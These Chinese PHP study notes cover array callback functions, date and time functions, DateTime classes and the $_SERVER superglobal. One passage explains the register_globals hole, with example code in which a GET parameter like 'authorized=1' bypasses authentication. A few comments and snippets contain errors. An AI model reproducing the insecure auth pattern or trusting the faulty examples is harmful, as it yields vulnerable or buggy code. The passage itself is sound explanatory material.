array_walk返回布尔值,如果要改变数组元素的值,回调函数第一个参数必须是引用,回调函数还能够接收数组的key
array_filter返回新数组,原数组不变,作用是过滤数组中的元素。回调函数返回真元素才能保存到新数组中,即新数组和原数组的长度可能不同
传入两个及以上的数组时,它们元素数量将会相同,因为回调函数会并行地处理相互对应的元素。如果元素数量不一致,空元素会扩展短那个数组,直到长度和最长的数组一样传入NULL作为回调函数的名称,将创建多维数组如果仅传入一个数组时键key会保留;传入多个数组时键key是整型数字的序列
【 array_walk() 】
bool array_walk ( array &$array ,callable $callback [,mixed $userdata = NULL ] )
使用自定义函数对数组中的每个元素做回调处理,返回值是布尔,成功返回true否则false
array_walk()不受array内部数组指针的影响,会遍历整个数组而不管指针的位置。
array_walk($a,"myfunction")性能不如foreach的问题不是出在array_walk,而是因为PHP中"执行函数"这个操作比较慢。array_walk执行了count($a)次myfunciont,测试时foreach肯定不是执行myfunction而是直接执行函数里面的code。可以试一下foreach ($a as $v) { myfunction($v); } 比 array_walk($a,"myfunction"); 要慢
callback
典型情况下callback接受两个参数,array参数的值作为第一个,键名作为第二个。
如果callback要直接作用于数组中的值,则指定callback第一个参数为引用,这样任何对这些单元的改变也会改变原始数组本身。
参数数量超过预期,传入内置函数例如strtolower(),将抛出警告,所以不适合当做funcname。
只有array的值才可以被改变,用户不应在回调函数中改变该数组本身的结构,例如增加/删除单元,unset单元等。如果原数组改变了,则此函数的的行为未经定义,且不可预期。
如果callback函数需要的参数比给出的多,则每次array_walk()调用callback时都会产生一个E_WARNING级的错误
userdata
可选参数将被作为第三个参数传递给callback
调用类的方法作为回调
array_walk($array, array('self', 'walkFunction'));
array_walk($array, array('className', 'walkFunction'));
array_walk($array, array($this, 'walkFunction'));
【 array_reduce() 】 array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed 用回调函数迭代地将数组简化为单一的值,将回调函数callback迭代地作用到array数组中的每一个单元中,从而将数组简化为单一的值 callback ( mixed $carry , mixed $item ) : mixed carry: 携带上次迭代里的值;如果本次迭代是第一次,那么这个值是initial item: 携带了本次迭代的值。 initial参数可选,将在处理开始前使用,或者当处理结束数组为空时的最后一个结果
【 array_filter() 】 array array_filter ( array $array [,callable $callback [,int $flag = 0 ]] ) 用回调函数过滤数组中的元素,把输入数组中的每个键值传给回调函数。如果回调函数返回true则把输入数组中的当前键值返回给结果数组。数组键名保持不变,array_values() 如果没有提供callback函数,将删除array中所有等值为FALSE的条目 用户不应在回调函数中修改数组本身,例如增加/删除单元或对array_filter()正在作用的数组进行unset,如果数组改变了,此函数的行为将不可预测 flag 决定callback接收的参数形式: ARRAY_FILTER_USE_KEY => 2 callback接受键名作为的唯一参数 ARRAY_FILTER_USE_BOTH => 1 callback同时接受键名和键值
日期时间函数
时间戳: 从格林威治时间1970年1月1日0是0分0秒到当前的秒数,自January 1 1970 00:00:00 GMT起的秒数
date_default_timezone_get(); // 获取时区
date_default_timezone_set("Asia/Shanghai"); // 设置时区PRC,在页面的最前页加上
date_default_timezone_set("PRC"); // 把时间调到北京时间,php5默认为格林威治标准时间
把时间转成几个小时前、几分钟前、几天前时间格式化计算两个日期之间的时间差超时时间 到期时间根据出生日期计算年龄
【 time() 】
time ( void ): int
返回当前时间戳(秒),10位整型数字
var_dump(time()) // int(1573104933)
$nextWeek = time() + (7 * 24 * 60 * 60); // 7 days; 24 hours; 60 mins; 60 secs
echo 'Now: '. date('Y-m-d');
echo 'Next Week: '. date('Y-m-d',$nextWeek);
echo 'Next Week: '. date('Y-m-d',strtotime('+1 week'));
【 microtime() 】 microtime ([ bool $get_as_float ] ): mixed 返回当前Unix时间戳和微秒数,默认返回字符串"microsec sec" 参数get_as_float可选,TRUE规定应返回浮点数,单位秒,默认FALSE返回字符串,结果分两部分,前半部分是毫秒(但单位是秒),后半部分是秒 毫秒是一种较为微小的时间单位,符号为ms,1秒 = 1000毫秒 ;1 毫秒 = 1000微秒;1微秒 = 1000纳秒;1纳秒 = 1000皮秒 var_dump(microtime()); // string(21) "0.33155200 1615624693" var_dump(microtime(true)); // float(1615624693.3316) var_dump(time()); // int(1615624693)用microtime()对脚本的运行计时
【 date() 】
date ( string $format [,int $timestamp ] ): string
用于对日期时间进行本地格式化,返回将整数timestamp时间戳格式按照给定的格式字串产生的字符串,timestamp默认time()
mktime(),strtotime()
Y m : 01-12 d : 01-31 l:星期 h :01-12 i: 00-59 s : 00-59 a : am/pm
echo date("Ymd-公摊详情"); // 20210301-公摊详情
在格式参数中使用常量
echo date(DATE_RFC2822); // Fri, 27 Dec 2018 19:17:49 +0800
echo date(DATE_ATOM,mktime(0,0,0,7,1,2000)); // 2000-07-01T00:00:00+08:00
echo date(DateTime::RFC2822, time()); // Sat, 10 Oct 2020 16:20:24 +0800
date()和mktime()结合使用来得到未来或过去的日期
$tomorrow = mktime(0,0,0,date("m"),date("d")+1,date("Y"));
$lastmonth = mktime(0,0,0,date("m")-1,date("d"),date("Y"));
$nextyear = mktime(0,0,0,date("m"),date("d"),date("Y")+1);
echo "July 1,2000 is on a " . date("l",mktime(0,0,0,7,1,2000)); // July 1,2000 is on a Saturday
【 mktime() 】
mktime ([ int $hour = date("H") [,int $minute = date("i") [,int $second = date("s") [,int $month = date("n") [,int $day = date("j") [,int $year = date("Y") ]]]]]] ): int
根据给出的参数返回Unix时间戳,时间戳是一个长整数,包含了从Unix纪元(January 1 1970 00:00:00 GMT)到给定时间的秒数。
参数可以从右向左省略,任何省略的参数会被设置成本地日期和时间的当前值
echo "July 1,2000 is on a " . date("l",mktime(0,0,0,7,1,2000)); // July 1,2000 is on a Saturday
echo date('c',mktime(1,2,3,4,5,2006)); // 2006-04-05T01:02:03+00:00
mktime()在做日期计算和验证方面很有用,会自动计算超出范围的输入的正确值
echo date("M-d-Y",mktime(0,0,0,12,32,1997)); // "Jan-01-1998"
echo date("M-d-Y",mktime(0,0,0,13,1,1997)); // "Jan-01-1998"
echo date("M-d-Y",mktime(0,0,0,1,1,1998)); // "Jan-01-1998"
echo date("M-d-Y",mktime(0,0,0,1,1,98)); // "Jan-01-1998"
下个月的最后一天
任何给定月份的最后一天都可以被表示为下个月的第0天,而不是-1天
$lastday = mktime(0,0,0,3,0,2000);
echo strftime("Last day in Feb 2000 is: %d",$lastday); // Last day in Feb 2000 is: 29
$lastday = mktime(0,0,0,4,-31,2000);
echo strftime("Last day in Feb 2000 is: %d",$lastday); // Last day in Feb 2000 is: 29
【 strtotime() 】
strtotime ( string $time [,int $now = time() ] ): int
将日期时间字符串$time解析为Unix时间戳,成功返回时间戳,否则返回FALSE,$time值相对于now参数给出的时间,默认系统当前时间
time参数如果给定的年份是两位数字的格式则其值0-69表示2000-2069,70-100表示1970-2000
now参数用来计算返回值的时间戳
// 是否是一个有效日期
$result = false !== strtotime($value);
var_dump(strtotime('+1 minute', 1122)); // int(1182)
strtotime('now') === time() // true
var_dump(strtotime('now')); // int 1534342780
var_dump(time()); // int 1534342780
echo date("Y-m-d H:i:s", strtotime('today')); // 2020-08-02 00:00:00
strtotime('1977-03-05');
strtotime("8/5/1974 12:20:03")
strtotime("10 September 2000")
strtotime('-1day') // 明天此时的时间戳,输出int 1534256289
strtotime("now")
strtotime("tomorrow")
strtotime("+3 minute")
strtotime("+1 day")
strtotime("+1 week")
strtotime("+1 week 2 days 4 hours 2 seconds")
strtotime("+3 Months")
strtotime("next Saturday") // 下周六
strtotime("Saturday") // 本周六
strtotime("last Monday")
echo date("Y.m.d.l-h:i:sa",mktime(13,59,59,12,31,2015))."\n";
echo date("Y.m.d.l-h:i:sa",strtotime("10:38pm April 11 2012"))."\n";
strtotime()涉及到大小月的最后一天获取每个月第一天和最后一天thinkphp时间查询thinkphp 查询当天,本周,本月,本季度,本年度,全部, 数据方法
【 strftime() 】
strftime ( string $format [,int $timestamp = time() ] ) : string
根据区域设置格式化本地时间日期,返回用给定的格式字串对给出的timestamp进行格式输出后的字符串,默认当前的本地时间。月份和星期几以及其它和语言有关的字符串写法和用setlocale()设定的当前的区域有关。
format参数里能够识别的格式字串有以下标记:
--- 日 ---
%a 当前区域星期几的简写,Sun到Sat
%A 当前区域星期几的全称,Sunday到Saturday
%d 月份中的第几天,十进制数字,01到31
%e 月份中的第几天,十进制数字,一位的数字前会加上一个空格,'1'到'31'
%j 年份中的第几天,带前导零的三位十进制数,001到366
%u 符合ISO-8601星期几的十进制数表达,1(星期一)到7(星期日)
%w 星期中的第几天,0(星期天)到6(星期六)
--- 周 ---
%U 本年的第几周,从第一周的第一个星期天作为第一天开始,13(for the 13th full week of the year)
%V 本年第几周的ISO-8601:1988格式,范围从01到53,第1周是本年第一个至少还有4天的星期,星期一作为每周的第一天。(用%G或%g作为指定时间戳相应周数的年份组成。)
%W 本年的第几周数,从第一周的第一个星期一作为第一天开始,46(for the 46th week of the year beginning with a Monday)
--- 月 ---
%b 当前区域月份的简写,Jan到Dec
%B 当前区域月份的全称,January到December
%h 当前区域月份的简写(%b 的别名),Jan到Dec
%m 两位数的月份,01(是一月份)到12(是十二月份)
--- 年 ---
%C 两位数显示世纪(年份除以100截成整数),19是20世纪
%g 2位数的年份,符合ISO-8601:1988星期数,和%V的格式和值一样,只除了如果ISO星期数属于前一年或后一年则使用那一年,如2009年1月6日那一周是09。
%G %g的完整四位数版本,比如: 2009年1月3日那一周是2008
%y 两位数显示年份,比如: 09是2009,79是1979
%Y 四位数显示年份,比如: 2038
--- 时间 ---
%H 以24小时格式显示两位小时数 00到23
%I 以12小时格式显示两位小时数 01到12
%l 以12小时格式显示小时数,单个数字前含空格 1到12
%M 两位的分钟数00到59
%p 指定时间的大写AM或PM,比如00:31是AM,22:23是PM
%P 指定时间的小写am或pm,比如00:31是am,22:23是pm
%r 和"%I:%M:%S %p"一样,比如21:34:17是09:34:17 PM
%R 和"%H:%M"一样,比如12:35 AM是00:35,4:44 PM是16:44
%S 两位数字表示秒00到59
%T 和"%H:%M:%S"一样,比如09:34:17 PM是21:34:17
%X 当前区域首选的时间表示法,不包括日期 例如03:59:16或15:59:16
%z 从UTC的时区偏移或简写(由操作系统决定),比如东部时间是-0500或EST
%Z %z没有给出的UTC的时区偏移或简写(由操作系统决定),比如-0500或EST是东部时间
--- 时间和日期戳 ---
%c 当前区域首选的日期时间表达 比如2009年2月5日上午12:45:10是Tue Feb 5 00:45:10 2009
%D 和"%m/%d/%y"一样,比如2009年2月5日是02/05/09
%F Same as "%Y-%m-%d" (commonly used in database datestamps) 比如2009年2月5日是2009-02-05
%s Unix纪元的时间戳(和time()函数一样),比如1979年9月10日上午8点40分00秒是305815200
%x 当前区域首选的时间表示法,不包括时间 比如2009年2月5日是02/05/09
--- 其他 ---
%n 换行符("\n")
%t Tab字符("\t")
%% 文字上的百分字符("%")
timestamp
可选的timestamp参数是一个integer的Unix时间戳,参数值默认为当前本地时间即time()的返回值。
$sTimeStamp = @strftime( '%c' );
【 checkdate() 】
checkdate ( int $month ,int $day ,int $year ): bool
检测日期是否合法
var_dump(checkdate(12,31,2000)); // true
var_dump(checkdate(2,29,2001)); // false
// 检查指定字符串是否为日期格式 年-月-日
function valid_date($date){
return preg_match ("/^([0-9]{4})-([0-9]{2})-([0-9]{2})$/", $date, $parts) ? checkdate($parts[2],$parts[3],$parts[1]) : false;
}
【 gmdate() 】
gmdate ( string $format [, int $timestamp = time() ] ) : string
Format a GMT/UTC date/time,Identical to the date() function except that the time returned is Greenwich Mean Time (GMT).
Returns a formatted date string. If a non-numeric value is used for timestamp, FALSE is returned and an E_WARNING level error is emitted.
format: The format of the outputted date string. See the formatting options for the date() function.
timestamp: an integer Unix timestamp that defaults to the current local time
echo date("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998)); // Jan 01 1998 00:00:00
echo gmdate("M d Y H:i:s", mktime(0, 0, 0, 1, 1, 1998)); // Dec 31 1997 16:00:00
echo gmdate("M d Y H:i:s"); // Dec 30 2019 08:04:50
日期类之DateTime
PHP5.5起DateTime类实现DateTimeInterface接口,DateTime包括12个常量和除DateTimeInterface接口中定义的方法外的12个方法:
__construct
接受两个参数,一个是可选的日期时间字符串,如果字符串为now,表示获取当前时间。第二个参数是可选的DateTimeZone对象,用于指定获取哪个时区的时间,如果不传入此参数则使用默认为当前时间。当时间字符串为now时,如果同时传入了DateTimeZone对象,则会获取指定时区的当前时间。如果日期时间字符串为Unix时间戳或者已经包含了时区信息,则会忽略传入的DateTimeZone对象以及当前时区,返回一个新的DateTime对象,如果失败返回false。
PHP5.3起,如果日期时间字符串格式错误会抛出异常,在此之前则是产生一个错误。
PHP7.1起,微秒部分不再是0000而是返回真实的微秒数据。
PHP5.2起,可用UNIX时间戳做为构造函数的参数生成新的DateTime对象。
getLastErrors
静态方法,获取解析日期时间字符串的过程中发生的警告和错误信息。返回一个数组,包含警告数量,警告信息,错误数量,错误信息,其中警告信息与错误信息是数组,数组的键为产生警告或错误的字符位置,值为具体警告或错误信息。
__set_state
魔术方法。
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
实例化对象前面加\表示在命名空间中使用原生的类,如果没有使用命名空间的话,可以把前面的\给删除掉
输出时间
$date = new DateTime;
echo $date->format('Y-m-d H:i:s');
echo $date->format('Y-m-d');
echo $date->getTimestamp();// 时间戳
$timezone = $data->getTimezone();
echo $timezone->getName();// Asia/Shanghai
输出给定的时间
$datetime = new \DateTime('2016-06-13');
echo $date->format("Y-m-d H:i:s"),"\n";
$date2 = new DateTime('tomorrow');
echo $date2->format('Y-m-d');// 2018-03-14
$date3 = new DateTime('+2 day');
echo $date3->format('Y-m-d');// 2018-03-15
输出Unix时间戳格式(方法1如果是1990年以前的会返回负数,而方法2则会返回false)
// 方法1(php5.2):
$datetime = new \DateTime();
echo $datetime->format('U');
// 方法2(php5.3)推荐
$datetime = new \DateTime();
echo $datetime->getTimestamp();
根据给定的时间戳格式化为给定的时间
以Unix时间戳的方式设置DateTime对象的日期和时间。返回被修改的DateTime对象,失败则返回false。
$datetime = new \DateTime();
$datetime->setTimestamp(1465783744);
echo $datetime->format('Y-m-d H:i:s');
$date=new DateTime("@1468531584");
echo $date->format("Y-m-d H:i:s"),"\n";
sub() 与add相反,减去一定的时间(天、月、年、小时、分钟及秒)。接受一个DateInterval对象,将DateInterval对象的时间加到DateTime对象上。返回被修改的DateTime对象,若失败则返回false。
add() 增加一定的时间(天、月、年、小时、分钟以及秒)。接受一个DateInterval对象,将DateInterval对象的时间加到DateTime对象上。返回被修改的DateTime对象,若失败则返回false。
modify() 修改日期时间对象的值,根据传入的日期时间字符串,修改DateTime对象的值。
//设置时间时区
date_default_timezone_set('PRC');
//时间2015-01-01加上7年5月4天4小时3分钟2秒
$date = new DateTime('2015-01-01');
$addDate = new DateInterval('P7Y5M4DT4H3M2S');
$date->add($addDate);
echo $date->format("Y-m-d H:i:s") . "\n";
//时间2015-05-29加上1年2月3天
$date = new DateTime('2015');
$date->add(new DateInterval('P1Y2M3D'));
echo $date->format("Y-m-d") . "\n";
//当前时间加上3小时2分钟1秒
$date = new DateTime();
$date->add(new DateInterval('PT3H2M1S'));
echo $date->format("Y-m-d H:i:s") . "\n";
创建长度为几天前的时间
DateInterval构造函数的参数是一个表示时间间隔约定的字符串,这个时间间隔约定以字母P开头,后面跟着一个整数,最后是一个周期标识符,限定前面的整数。
有效周期标识符如下: Y(年) M(月) D(日) W(周) H(时) M(分) S(秒) 间隔约定中既可以有时间也可以有日期,如果有时间需要在日期和时间之间加上字母T,例如,间隔约定P2D表示间隔两天,间隔约定P2DT5H2M表示间隔两天五小时两分钟。
$datetime = new \DateTime();
$interval = new \DateInterval('P2DT5H');
// 或者使用createFromDateString方法
// $interval = \DateInterval::createFromDateString('1 month');
// 修改DateTime实例
$datetime->add($interval);
echo $datetime->format('Y-m-d H:i:s');
创建几天前的时间
$datetime = new \DateTime();
$interval = new \DateInterval('P2DT5H');
$datetime->sub($interval);
echo $datetime->format('Y-m-d H:i:s');
// modify方法减去30,并不是像前推1天,输出的还是12月
$datetime = new \DateTime('2014/12/31');
$datetime->modify('-1 month');
echo $datetime->format('Y-m-d H:i:s'); // 2014-12-01 00:00:00
$date3 = new DateTime;
$date3->modify('+1 day');
echo $date3->format('Y-m-d H:i:s');// 2018-03-14 20:08:25
$date3->modify('+20 day');
echo $date3->format('Y-m-d H:i:s');// 2018-04-03 20:10:07
$date3->modify('+1 month');
echo $date3->format('Y-m-d H:i:s');// 2018-05-03 20:10:17
$date3->modify('-1 year');
echo $date3->format('Y-m-d H:i:s');// 2017-05-03 20:12:17
setDate() 设置DateTime对象的日期,接受三个参数,分别为年、月、日。返回被修改的DateTime对象,失败则返回false。
setISODate() 以ISO8601格式设置日期,使用周和日做偏移量而不是月和日。接受三个参数分别是年、周、可选的每周的第几天,默认1。返回被修改的DateTime对象,失败则返回false。
setTime() 设置DateTime对象的时间,接受四个参数,分别为时、分、秒、微秒(PHP7.1起),其中秒和微秒为可选的,默认为0。返回被修改的DateTime对象,失败则返回false。
重置当前的DateTime对象的时间不同的日期,传递年,月,日
$datetime = new \DateTime();
$datetime->setDate(2015, 2, 28);
echo $datetime->format('Y-m-d');
$date->setISODate(2019,10,3);
echo $date->format("Y-m-d H:i:s"),"\n";
重置当前的DateTime对象的时间不同的时间,传递时,分,秒(可选参数)
$datetime = new \DateTime();
$datetime->setTime(20, 20, 24);
echo $datetime->format('Y-m-d H:i:s');exit;
更改时区
设置DateTime对象的时区。接受一个DateTimeZone对象,表示要设置的时区。返回被修改的DateTime对象,失败则返回false。
$timezone = new \DateTimeZone('Asia/Calcutta');
$datetime = new \DateTime();
$datetime->setTimezone($timezone);
print_r($datetime->format('Y-m-d H:i:s'));exit;
返回时区
$date = new \DateTime(null, newDateTimeZone('Asia/Shanghai'));
$tz = $date->getTimezone();
echo $tz->getName();
计算两个时区的偏移值
$dateTimeZoneTaipei = new \DateTimeZone("Asia/Taipei");
$dateTimeZoneJapan = new \DateTimeZone("Asia/Tokyo");
$dateTimeTaipei = new \DateTime("now", $dateTimeZoneTaipei);
$dateTimeJapan = new \DateTime("now", $dateTimeZoneJapan);
$timeOffset = $dateTimeZoneJapan->getOffset($dateTimeTaipei);
print_r( $timeOffset );
返回时间间隔,多长时间
$interval = new \DateInterval('P2Y4DT6H8M');
echo $interval->format('%d days'); // 4 days
迭代输出距离当前日期的前几天日期
DatePeriod类的构造方法接受三个参数而且都必须提供 一个DateTime实例,表示迭代开始的日期和时间 一个DateInterval实例,表示下一个日期和时间的间隔 一个整数,表示迭代的总次数 第四个参数是可选的,用于显式指定周期的结束日期和时间,如果迭代时想要排除开始日期和时间,可以把构造方法的最后一个参数设为DatePeriod::EXCLUDE_START_DATE常量:
$datetime = new \DateTime();
$interval = \DateInterval::createFromDateString('-1 day');
$period = new \DatePeriod($datetime,$interval, 3);
foreach ($period as$date) {
echo$date->format('Y-m-d'), PHP_EOL;
}
计算时间,两个日期时间比对,年与年比对,月与月比对,%表示使用格式化,R表示是大于这个日期(+),还是小于这个日期(-),a表示大于或小于多少天,时分秒正常使用y,m,d,h,i,s
$date = new DateTime;
$date1 = new DateTime('2016-01-01');
print_r($date > $date1 ? 1 : 2);// 1
print_r($date->diff($date1));// DateInterval Object ( [y] => 2 [m] => 2 [d] => 12 [h] => 16 [i] => 52 [s] => 50 [weekday] => 0 [weekday_behavior] => 0 [first_last_day_of] => 0 [invert] => 1 [days] => 802 [special_type] => 0 [special_amount] => 0 [have_weekday_relative] => 0 [have_special_relative] => 0 )
// 格式化输出
$diff = $date->diff($date1);
echo $diff->format("相差 %Y 年 %m 月 %d 天");// 相差 02 年 2 月 12 天
$Today = new DateTime();
$Tomorrow = new DateTime();
$Tomorrow->add(new DateInterval('P1D'));
$diff = $Tomorrow->diff($Today);
echo 'Difference: ' . $diff->format('%m month, %d days (total: %a days)') . "\n";
if ($Today < $Tomorrow) echo "Today is before Tomorrow!\n";
【 createFromFormat() 】
根据给定的时间格式化时间
静态方法,根据指定的格式解析日期时间字符串。接受三个参数,第一个为格式字符串,第二个参数为日期时间字符串,第三个参数为可选的DateTimeZone对象,用于指定获取哪个时区的时间,如果不传入此参数,且日期时间字符串中不包含时区信息则使用默认为当前时间。如果日期时间字符串为Unix时间戳或者已经包含了时区信息,则会忽略传入的DateTimeZone对象以及当前时区。如果格式字符串中存在不可识别的字符,会导致解析失败,并在返回的结果中附加一个错误信息,可以通过getLastErrors方法查看解析是否存在错误。返回一个DateTime对象,如果失败返回false。
$date=DateTime::createFromFormat("Y-m-j","2018-11-02");
if($date!=false){
echo $date->format("Y-m-d H:i:s"),"\n";
}
$date=DateTime::createFromFormat("Y-m-j","2018年1月2日");
var_dump(DateTime::getLastErrors());
$datetime = \DateTime::createFromFormat('Ymd','20160618');
print_r($datetime->format('Y-m-d'));
$date = DateTime::createFromFormat("Y-m-d", '2009-02-15');
echo $date->format("Y-m-d H:i:s") . "\n";
【 date_create_from_format() 】
返回根据指定格式进行格式化的新的DateTime对象
var_export( date_create_from_format("j-M-Y","25-Sep-2016"));
DateTime::__set_state(array(
'date' => '2016-09-25 14:00:23.000000',
'timezone_type' => 3,
'timezone' => 'PRC',
))
date_create_from_format(format,time,timezone);
format参数字符串可以使用下列的字符:
d - 一个月中的第几天,带前导零
j - 一个月中的第几天,不带前导零
D - 一周中的某天(Mon - Sun)
I - 一周中的某天(Monday - Sunday)
S - 一个月中的第几天的英语后缀(st, nd, rd, th)
F - 月份名称(January - December)
M - 月份名称(Jan - Dec)
m - 月份(01 - 12)
n - 月份(1 - 12)
Y - 年份(例如 2013)
y - 年份(例如 13)
a 和 A - am 或 pm
g - 12 小时制,不带前导零
h - 12 小时制,带前导零
G - 24 小时制,不带前导零
H - 24 小时制,带前导零
i - 分,带前导零
s - 秒,带前导零
u - 微秒(多达六个数字)
e、O、P 和 T - 时区标识符
U - 自 Unix 纪元以来经过的秒数
(空格)
# - 下列分隔符之一: ;、:、/、.、,、-、(、)
? - 一个随机字节
* - 随机字节直到下一个分隔/数字
! - 重置所有字段到 Unix 纪元
| - 如果所有字段都还没被解析,则重置所有字段到 Unix 纪元
+ - 如果存在,字符串中的尾随数据将导致警告,不是错误
【 date_parse_from_format() 】
根据指定的格式返回包含指定日期信息的关联数组
format规定格式(date_create_from_format() 接受的格式
var_export(date_parse_from_format("Ymd","20200820"));
array (
'year' => 2020,
'month' => 8,
'day' => 20,
'hour' => false,
'minute' => false,
'second' => false,
'fraction' => false,
'warning_count' => 0,
'warnings' => array ( ),
'error_count' => 0,
'errors' => array ( ),
'is_localtime' => false,
)
// 验证时间和日期是否符合指定格式
protected function dateFormat($value, $format){
$info = date_parse_from_format($format, $value);
return 0 == $info['warning_count'] && 0 == $info['error_count'];
}
超全局变量
所有超全局变量都是数组,预定义变量 $_GET $_POST $_REQUEST $_SERVER $_ENV $_GLOBALS $_COOKIE $_SESSION $_FILES
【 $GLOBALS 】 引用全局作用域中可用的全部变量 $GLOBALS是PHP的一个包含了全部变量的超级全局变量数组,变量的名字就是数组的键,在一个PHP脚本的全部作用域中都可以访问 global关键字指针引用全局变量,$GLOBALS指变量本身 $GLOBALS $GLOBALS['_GET'] -> $_GET $GLOBALS['_POST'] -> $_POST $GLOBALS['_COOKIE'] -> $_COOKIE $GLOBALS['_FILES'] -> $_FILES $GLOBALS['_ENV'] -> $_ENV $GLOBALS['_REQUEST'] -> $_REQUEST $GLOBALS['_SERVER'] -> $_SERVER $GLOBALS['_GLOBALS'] -> $_GLOBALS 表单提交、数据库mysqli/pdo查询 $GLOBALS['username'] $GLOBALS['password']
register_globals是php.ini里的一个配置,这个配置影响到php如何接收传递过来的参数
register_globals的意思就是注册为全局变量,所以当On的时候,传递过来的值会被直接的注册为全局变量直接使用,而Off的时候,我们需要到特定的数组里去得到它
PHP4.2.0版开始配置文件中register_globals的默认值从on改为off了,虽然可以设置它为On,但无法控制服务器时的代码的兼容性就成为一个大问题,所以最好从现在就开始用Off的风格开始编程
当register_globals打开以后,各种变量都被注入代码,例如来自HTML表单的请求变量,再加上PHP在使用变量之前是无需进行初始化的,这就使得更容易写出不安全的代码。当打开时人们使用变量时确实不知道变量是哪里来的,只能想当然。但register_globals的关闭改变了这种代码内部变量和客户端发送的变量混杂在一起的糟糕情况
初始化变量是一个良好的编程习惯
// 当用户合法的时候赋值
if (authenticated_user()) {
$authorized=true;
}
// 由于并没有事先把$authorized初始化为false,当register_globals打开时可能通过GET auth.php?authorized=1来定义该变量值,所以任何人都可以绕过身份验证
// 如果代码执行之前加入$authorized = false,无论register_globals是on还是off都可以,因为用户状态被初始化为未经认证
if ($authorized) {
include"/highly/sensitive/data.php";
}
移除自定义环境变量【 $_SERVER 】 $_SERVER是一个包含了诸如头信息(header)、路径(path)以及脚本位置(script locations)等信息的数组 这个数组中的项目由Web服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些或提供一些没有在这里列举出来的项目 --------- apach http://localhost/study/php/hello.php?a=ajax&b=bootstrap 为例 --------- 'DOCUMENT_ROOT' 当前运行脚本所在的文档根目录,在服务器配置文件中定义 var_dump($_SERVER['DOCUMENT_ROOT']); // string 'E:/wamp64/www/' 'PHP_SELF' => string '/study/php/hello.php' 当前执行脚本的文件名,与document root有关 在http://example.com/foo/bar.php脚本中使用$_SERVER['PHP_SELF']将得到/foo/bar.php __FILE__ 常量包含当前(例如包含)文件的完整路径和文件名 如果 PHP 以命令行模式运行,这个变量将包含脚本名 var_dump(__FILE__); // string 'E:\wamp64\www\study\php\hello.php' var_dump($_SERVER['PHP_SELF']); // string '/study/php/hello.php' 'argv' 传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv变量传递给程序C 语言样式的命令行参数。当通过GET方式调用时,该变量包含query string 'argc' 包含命令行模式下传递给该脚本的参数的数目(如果运行在命令行模式下) 'GATEWAY_INTERFACE' => string 'CGI/1.1' 服务器使用的 CGI 规范的版本 'SERVER_ADDR' => string '::1' 当前运行脚本所在的服务器的 IP 地址 'SERVER_NAME' => string 'localhost' 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定 在Apache 2里必须设置UseCanonicalName = On和ServerName,否则该值会由客户端提供,就有可能被伪造 上下文有安全性要求的环境里,不应该依赖此值 'SERVER_SOFTWARE' => string 'Apache/2.4.17 (Win64) PHP/5.6.16' 服务器标识字符串,在响应请求时的头信息中给出 'SERVER_PROTOCOL' => string 'HTTP/1.1' 请求页面时通信协议的名称和版本 'REQUEST_METHOD' => string 'GET' 访问页面使用的请求方法;例如,"GET","HEAD","POST","PUT" 如果请求方法为HEAD,PHP脚本将在发送Header头信息之后终止(这意味着在产生任何输出后,不再有输出缓冲) 'REQUEST_TIME' => int 1526467284 请求开始时的时间戳 'REQUEST_TIME_FLOAT' => float 1526467284.761 请求开始时的时间戳,微秒级别的精准度 'QUERY_STRING' => string 'a=ajax&b=bootstrap' query string(查询字符串),如果有的话,通过它进行页面访问 'HTTP_ACCEPT' => string 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' 当前请求头中 Accept: 项的内容,如果存在的话 'HTTP_ACCEPT_CHARSET' 当前请求头中 Accept-Charset: 项的内容,如果存在的话。例如: "iso-8859-1,*,utf-8" 'HTTP_ACCEPT_ENCODING' => string 'gzip,deflate,sdch,br' 当前请求头中 Accept-Encoding: 项的内容,如果存在的话。例如: "gzip" 'HTTP_ACCEPT_LANGUAGE' => string 'zh-CN,zh;q=0.8' 当前请求头中 Accept-Language: 项的内容,如果存在的话。例如: "en" 'HTTP_CONNECTION' => string 'keep-alive' 当前请求头中 Connection: 项的内容,如果存在的话 'HTTP_HOST' => string 'localhost' 当前请求头中 Host: 项的内容,如果存在的话 'HTTP_REFERER' 引导用户代理到当前页的前一页的地址(如果存在)。由user agent设置决定 并不是所有的用户代理都会设置该项,有的还提供了修改HTTP_REFERER的功能。简言之,该值并不可信 'HTTP_USER_AGENT' => string 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/55.0.2883.87 Safari/537.36' 当前请求头中User-Agent: 项的内容,如果存在的话。该字符串表明了访问该页面的用户代理的信息 'HTTPS' 如果脚本是通过HTTPS协议被访问,则被设为一个非空的值 Note: 注意当使用 IIS 上的 ISAPI 方式时,如果不是通过 HTTPS 协议被访问,这个值将为 off 'REMOTE_ADDR' => string '::1' 浏览当前页面的用户的 IP 地址 'REMOTE_HOST' 浏览当前页面的用户的主机名。DNS反向解析不依赖于用户的REMOTE_ADDR 服务器必须被配置以便产生这个变量。Apache中需要在httpd.conf中设置HostnameLookups On来产生它。参见 gethostbyaddr() 'REMOTE_PORT' => string '64205' 用户机器上连接到 Web 服务器所使用的端口号 'REMOTE_USER' 经验证的用户 'REDIRECT_REMOTE_USER' 验证的用户,如果请求已在内部重定向 'SCRIPT_FILENAME' => string 'E:/wamp64/www/study/php/hello.php' 当前执行脚本的绝对路径 如果在命令行界面(Command Line Interface,CLI)使用相对路径执行脚本,例如file.php 或 ../file.php,那么 $_SERVER['SCRIPT_FILENAME'] 将包含用户指定的相对路径 'SERVER_ADMIN' => string 'admin@example.com' 指明Apache服务器配置文件中的SERVER_ADMIN参数。如果脚本运行在虚拟主机上则该值是那个虚拟主机的值 'SERVER_PORT' => string '80' Web服务器使用的端口。默认值为 "80"。如果使用SSL安全连接,则这个值为用户设置的HTTP端口 Apache 2里,为了获取真实物理端口,必须设置UseCanonicalName = On 以及UseCanonicalPhysicalPort = On 否则此值可能被伪造,不一定会返回真实端口值 上下文有安全性要求的环境里,不应该依赖此值 'SERVER_SIGNATURE' => string '< address>Apache/2.4.17 (Win64) PHP/5.6.16 Server at localhost Port 80 address>' 包含了服务器版本和虚拟主机名的字符串 